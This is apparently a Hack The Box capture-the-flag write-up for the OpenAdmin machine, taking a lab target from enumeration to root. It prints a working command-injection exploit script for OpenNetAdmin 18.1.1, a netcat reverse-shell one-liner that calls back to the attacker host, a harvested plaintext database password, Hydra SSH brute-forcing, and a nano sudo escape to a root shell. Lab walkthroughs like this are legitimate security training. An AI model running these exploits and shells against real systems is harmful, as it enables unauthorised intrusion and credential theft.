🕵️ HTB: OpenAdmin – RCE, Privilege Escalation, and the Art of Improvisation

🔍 Enumeration Phase

We begin the usual way—recon with nmap.

Open ports:

• 22 (SSH)

• 80 (HTTP)

Port 80 means web enumeration. Time to let ffuf loose:

ffuf -u http://10.10.10.171/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,204,301,302,307,401 -o results.txt

Interesting hits:

• /music/

• /sierra/

• /artwork/

Crawling with hakrawler through Burp gave a promising path:

cat urls.txt | hakrawler -proxy http://localhost:8080

Bingo. This is OpenNetAdmin, and version 18.1.1 specifically.

💥 Initial Foothold: RCE via OpenNetAdmin

Quick search on ExploitDB brings up an RCE:

#!/bin/bash

URL="${1}"
while true;do
 echo -n "$ "; read cmd
 curl -x http://localhost:8080 --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done

With a little Burp Proxy magic, we got a working shell. Though unstable, it did the job.

🧠 Privilege Escalation Begins

Time for lateral movement. Classic reverse shell:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.2 1234 >/tmp/f

nv -lvnp 1234

/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'

📦 Credential Harvesting

A quick loot run on config files reveals gold:

cat /var/www/html/ona/local/config/database_settings.inc.php

        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',

🔐 SSH Brute-force and User Access

Grabbed usernames from /etc/passwd:

jimmy  
joanna  
root  

Brute-forced via Hydra:

hydra -L user.txt -P password.txt ssh://10.10.10.171

🎯 Hit confirmed: jimmy : n1nj4W4rri0R!

ssh [email protected]

🕵️ Discovery and Key Recovery

Exploring /var/www/internal (finally accessible as jimmy), we find something new. The page isn’t accessible over HTTP, but we can curl it locally:

curl localhost:52846/main.php

And boom—we find an SSH private key.

But it's encrypted. Time for john magic:

ssh2john key > hash  
john hash --wordlist=/usr/share/wordlists/rockyou.txt

⚡ Privilege Escalation to Root

We check what joanna can run:

sudo -l

Allowed to run:

/bin/nano /opt/priv

We abuse it using a classic nano GTFOBins technique:

Inside nano:

^R^X
cat /root/root.txt

for a shell

^R^X
reset; sh 1>&0 2>&0